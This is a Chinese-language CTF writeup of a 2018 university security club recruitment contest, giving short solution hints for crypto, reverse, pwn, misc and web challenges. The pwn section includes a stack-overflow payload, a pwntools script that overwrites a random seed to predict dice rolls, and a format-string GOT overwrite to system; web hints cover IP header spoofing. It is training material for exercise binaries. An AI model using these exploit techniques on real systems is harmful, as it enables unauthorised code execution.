2018网特招新题writeup
沈永宁(周鸣振)这狗比,晚上才发现他隐姓埋名偷偷刷了分还刷到了第一名,不行我也刷。。。我刷刷刷😷
Crypto
滴滴答答
摩斯电码。
Do you know Base64?
右键属性存在base64值,解码。
凯撒后院的栅栏
先栅栏保证{}在第五位和最后一位,4栏,再凯撒得到flag{}格式头。
What made me mad?
jsfuck,f12,在控制台输入字符串得到flag.
That girl~
ook,在线解密
Reverse
Guess
ida出现flag......
此人是谁
反推得到杨梦岐。。。
Find Something
根据输出在原表中找到对应字符,得到flag
交易一下~
在线解和uncompyle中间一条语句都反编译失误,做出来的沈永宁你过来我们探讨一下(拖鞋)。
PWN
Baby_pwn
基础栈溢出,覆盖返回地址咋没人写,不是讲过课了吗,a*0x20+p64(system地址)
Dice_game
buf的长度是0x50,可以覆盖到srand的种子值,把种子覆盖为0x31313131,这样我们就可以通过伪随机提前预知之后的rand值,因为python和c的随机方法不一样,先用c写出srand(seed=0x31313131)的随机数
seed = 0x31313131; srand(seed); a=rand(); //printf("rand0:%x",a); out=(a % 6) +1; printf("%d,",out); for(i=0;i<50;i++){ v4=rand() % 6 +1; printf("%d,",v4); }
然后覆盖找到buf到seed的偏移覆盖seed的值为0x31313131
a=[1,3,4,2,3,5,3,6,2,1,2,1,6,4,3,3,5,3,5,1,4,3,5,5,2,2,3,1,3,6,1,1,3,4,2,3,3,3,2,2,1,1,2,6,4,4,3,1,4,5,1,2,1,3,4,6,4,1,6] print p.recvuntil('name: ') p.sendline('1'*0x44) for i in range(50): print p.recvuntil('(1~6): ') p.sendline(str(a[i])) p.interactive()
‘You win.
Congrats 1111111111111111111111111111111111111111111111111111111E
flag{y0u_are_ma4ter}
’
baby Format String
格式化字符串,通过%11$p发现偏移量为11,然后通过pwntools构造payload fmtstr_payload(11, {elf.got['puts']:system}),刚开始权限给多了,我touch了ymq666
Misc
Try to Open it
直接打开。。。
CTF Is Crazy!
010editor可以根据提供的png模板直接修改图像高度让他显示下面的flag
A Nice Day
二维码。。。
How To Become Dalao?
属性提示了工具和密码,steghide extract -sf xxx.jpg -p password
Refresh it
wireshark或binwalk或010editor提取那个刷新按钮的图像,查看属性提示f5隐写,那就是F5-steganography,属性写了密码
Web
So Easy!
如题
MAX
f12直接改长度范围
Login My Account
估计是burp爆破,但是懒得做。。。
Guess sess
f12查看phpsessid
Are you From PPSUC?
使用firefox插件:X-Forwarded-For Header,随时随地,想换就换,IP在手,天下我有
emmdiiii5
md5解密得到Crack,使用hackbar插件post key=Crack
睡觉了。